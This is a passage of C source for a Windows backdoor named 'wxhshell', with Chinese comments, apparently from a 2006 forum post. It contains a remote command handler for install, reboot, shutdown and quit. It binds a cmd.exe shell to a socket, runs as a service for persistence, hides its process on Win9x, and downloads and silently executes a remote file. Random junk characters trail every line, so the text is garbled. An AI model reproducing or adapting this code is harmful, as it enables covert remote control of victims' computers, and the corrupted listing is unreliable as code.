  // 帮助 R}K5'`[%ZY  
  case '?': { p-i]l.mT5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SE7 (+r  
    break; hPCSLJ  
  } L_CEY  
  // 安装 =kZwB*7  
  case 'i': { pdXgr)Uv  
    if(Install()) 'yAoZ P\|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y9c9/_CSj  
    else @bVh?T0~F,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bNPjefBF  
    break; +~v3D^L15  
    } ct4)faM  
  // 卸载 1(\I9L&J   
  case 'r': { dpOL1rrE  
    if(Uninstall()) 'E6gEJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D;;o  
    else 2 ShlYW@~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,`B>}  
    break; uq1(yyWp(  
    } &>^Ympr  
  // 显示 wxhshell 所在路径 bD^ob.c.A  
  case 'p': { B0?@k  
    char svExeFile[MAX_PATH]; !j\&BAxTEk  
    strcpy(svExeFile,"\n\r"); jwE(]u  
      strcat(svExeFile,ExeFile); W*WH .1&  
        send(wsh,svExeFile,strlen(svExeFile),0); l8 2uK"M  
    break; UBk 5O&  
    } kjYO0!C  
  // 重启 .$E~.6J %i  
  case 'b': { [T?6~^m=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VBj;2~Xj4h  
    if(Boot(REBOOT)) wP *a>a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1*`JcUn,>  
    else { Jj _+YfIM  
    closesocket(wsh); PI<s5bns {  
    ExitThread(0); [Kj#KJxy  
    } w"Y55EURB  
    break; P`Wf'C^h  
    } K#pt8Q  
  // 关机 w5JC2   
  case 'd': { $ax%K?MBD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eOnl s x/  
    if(Boot(SHUTDOWN)) 3<Y;mA=hw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TKutO0  
    else { IXk'?9  
    closesocket(wsh); T{J`t*Ym  
    ExitThread(0); K{|dt W&  
    } |N3 Co B  
    break; U=1`. Ove  
    } zpQ/E  
  // 获取shell -bX.4+U  
  case 's': { UDqKF85H  
    CmdShell(wsh); JM4`k8mM  
    closesocket(wsh); >qGR^yvb  
    ExitThread(0); ?d`+vHK]>  
    break; @V CQ4X7T  
  } 1OwkLy,P  
  // 退出 %cif0Td  
  case 'x': { [ESs?v$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HbVV]y  
    CloseIt(wsh); /XK`v=~(l{  
    break; u5B/Em7,0  
    } ">^]^wa08  
  // 离开 lNPbU ~k  
  case 'q': { a^1c _  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VNot4 62L  
    closesocket(wsh); s3%8W==rBW  
    WSACleanup(); ]xeyXw84k  
    exit(1); 90v18k  
    break; zt%Fvn4/pF  
        } ;|%JvptwW%  
  } 'GoeVq  
  } :QSW^x  
_cs9R%  
  // 提示信息 DfFPGFv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b:&$x (|  
} =KD*+.'\/  
  } 4V3 w$:,  
\gXx{rLW  
  return; LX&P]{q KS  
} ',%&DA2  
v%Q7\X(  
// shell模块句柄 d9( Sj?  
int CmdShell(SOCKET sock) 1"6k5wrIA  
{ @z q{#7%z  
STARTUPINFO si; QYGxr+D  
ZeroMemory(&si,sizeof(si)); 3]'z8i({7Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j06oAer 9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]YzAcB.R  
PROCESS_INFORMATION ProcessInfo; dG$0d_Pq  
char cmdline[]="cmd"; Z.(x|Q9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wpI4P:  
  return 0; N^N?!I  
} 3dphS ^X  
~` hcgCi%  
// 自身启动模式 C^tC} n1D(  
int StartFromService(void) g_X7@Dt  
{ #4u; `j"4=  
typedef struct }('' |z#UE  
{ ^w\uOd`  
  DWORD ExitStatus; 0/]vmDr  
  DWORD PebBaseAddress; F# wa)XH  
  DWORD AffinityMask; 'b,D;'v  
  DWORD BasePriority; =SnR9In  
  ULONG UniqueProcessId; !:e qPpz  
  ULONG InheritedFromUniqueProcessId; {`Z)'G\`  
}   PROCESS_BASIC_INFORMATION;  <k5~z(  
/B7 GH5  
PROCNTQSIP NtQueryInformationProcess; `s$@6r$  
S8,06/#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A-$BB=Ot  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T5;D0tM/  
AK =k@hT  
  HANDLE             hProcess; P|U>(9;P,  
  PROCESS_BASIC_INFORMATION pbi; $z]l4Hj  
)Cl&"bX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 78-:hk  
  if(NULL == hInst ) return 0; s q KkTG3  
STI3|}G*P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1P_bG47  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |M_Bbo@ud  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f7s.\  
!c7Od )]  
  if (!NtQueryInformationProcess) return 0; =3p h:t  
MC@cT^Z^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d6VKUAk'7>  
  if(!hProcess) return 0; RT>3\qhZ  
{cA )jW\'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yw0uF  
:O%O``xT  
  CloseHandle(hProcess); Me>'QVr  
6z*L9Vy($  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9[*kpMC  
if(hProcess==NULL) return 0; 3a0C<hW  
oSoG&4  
HMODULE hMod; Cu]X &l  
char procName[255]; SccU @3.X~  
unsigned long cbNeeded; C@-JH\{\T#  
GFid riC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ajAEGD2Zq  
C&T3vM  
  CloseHandle(hProcess); BR=Yte /  
DxBt83e  
if(strstr(procName,"services")) return 1; // 以服务启动 o%.cQo=v*  
itU01  
  return 0; // 注册表启动 rdRX  
} v\c3=DbO  
)+G(4eIT  
// 主模块 i/L1KiCLx  
int StartWxhshell(LPSTR lpCmdLine) \Mi< ROp5  
{ @'<|B. f  
  SOCKET wsl; 1\p[mN  
BOOL val=TRUE; /d4xHt5a  
  int port=0; |&JL6hN  
  struct sockaddr_in door; Z%Gvf~u  
G-qxQD1wK  
  if(wscfg.ws_autoins) Install(); -h_v(s2  
6 D O E6  
port=atoi(lpCmdLine); =h)H`  
'e)t+  
if(port<=0) port=wscfg.ws_port; R Mm`<:H_  
Xw%z#6l  
  WSADATA data; wmIq{CXx,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VtVnht1  
JnZxP> 2B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]k8XLgJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F8/@/B  
  door.sin_family = AF_INET; !>tXib]:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `uU@(  
  door.sin_port = htons(port); u-Vnmig9  
nxt1Y04,H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N%-nxbI\  
closesocket(wsl); bchhokH   
return 1; ^c5(MR7LD  
} Q3D xjD  
0kkiS 3T  
  if(listen(wsl,2) == INVALID_SOCKET) { Hq9(6w9w  
closesocket(wsl); ?`r/_EKNv  
return 1; ,]d}pJ}PX`  
} 09"~<W8  
  Wxhshell(wsl); k5($b{  
  WSACleanup(); ^Ni)gm{?k  
Gc'H F"w  
return 0; *M*k-Z':.*  
l|K8+5L  
} I#0.72:[  
FD*y[A ?  
// 以NT服务方式启动 WO{N@f^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m$^7sFD$  
{ zumRbrz  
DWORD   status = 0; u/zC$L3B(  
  DWORD   specificError = 0xfffffff; 8,R]R=  
N_ >s2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?Cws25G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O[]+v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >}9TdP/oT  
  serviceStatus.dwWin32ExitCode     = 0; t@Jo ?0s  
  serviceStatus.dwServiceSpecificExitCode = 0; *~vRbD$q  
  serviceStatus.dwCheckPoint       = 0; %~h'#S2X(  
  serviceStatus.dwWaitHint       = 0; rf~Ss<  
l YhwV\3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &F:7U!  
  if (hServiceStatusHandle==0) return; Frml'Vfq7  
A T%0i  
status = GetLastError(); d/^^8XUK  
  if (status!=NO_ERROR) M *}$$Fe|  
{ B|Omz:c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [9L(4F20  
    serviceStatus.dwCheckPoint       = 0; X#o:-FKf  
    serviceStatus.dwWaitHint       = 0; J7xZo=@k  
    serviceStatus.dwWin32ExitCode     = status; saZ ;ixV  
    serviceStatus.dwServiceSpecificExitCode = specificError; +vuW 9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6!'yU=Z`  
    return; o ).pF">jh  
  } FYj3! H  
vr;7p[~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )uaB^L1  
  serviceStatus.dwCheckPoint       = 0; %9Ue`8  
  serviceStatus.dwWaitHint       = 0; #4Z$O(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "~;jFB8  
} :Cuae?O,  
J h"]iN  
// 处理NT服务事件,比如:启动、停止 &sRyM'XI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <(iOzn  
{ h"'f~KM9a>  
switch(fdwControl) <@yyx7  
{ p?`N<ykF<  
case SERVICE_CONTROL_STOP: 4e(@b3y  
  serviceStatus.dwWin32ExitCode = 0; 5x: XXj"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KIS.4nt#d"  
  serviceStatus.dwCheckPoint   = 0; OlK2<<  
  serviceStatus.dwWaitHint     = 0;  [ ~E}x  
  { LY>JE6zTt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D3Mce|t^  
  } fx|9*|E  
  return; }a`LOBne  
case SERVICE_CONTROL_PAUSE: 3_-#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y5#_@  
  break; U".-C`4v  
case SERVICE_CONTROL_CONTINUE: &yN<@.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Xnh1pwDhe<  
  break; ( r O j,D  
case SERVICE_CONTROL_INTERROGATE: Y}6)jzBV  
  break; Pv'x|p*  
}; ) ad-s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '*k\IM{h  
} `3OGCy  
s6egd%r  
// 标准应用程序主函数 0(kp>%mbB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5YCbFk^  
{ cBA[D~s  
I,[EL{fz  
// 获取操作系统版本 j oG>=o  
OsIsNt=GetOsVer(); 26**tB<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9p.>L8  
'UyL%h;nJ  
  // 从命令行安装 B/71$i   
  if(strpbrk(lpCmdLine,"iI")) Install(); Px8E~X<@  
lO *Hv9#  
  // 下载执行文件 Yem\`; *  
if(wscfg.ws_downexe) { '3Ri/V,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) twn@~$  
  WinExec(wscfg.ws_filenam,SW_HIDE); x#^kv)  
} ?Y9?x,x  
[>0r'-kI  
if(!OsIsNt) { qha<.Ro  
// 如果时win9x,隐藏进程并且设置为注册表启动 >O _  
HideProc(); $d"+Njd  
StartWxhshell(lpCmdLine); erqB/C  
} NO$Nl/XM  
else ;w>B}v;RE  
  if(StartFromService()) R<=t{vTJ5  
  // 以服务方式启动 ^kq!/c3r  
  StartServiceCtrlDispatcher(DispatchTable); G!\x c  
else { SfU!  
  // 普通方式启动 eG v"&kr  
  StartWxhshell(lpCmdLine); m+g>s&1H  
|#wz)=mD  
return 0; S6mmk&n  
}
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只看该作者 1 发表于: 2006-10-10
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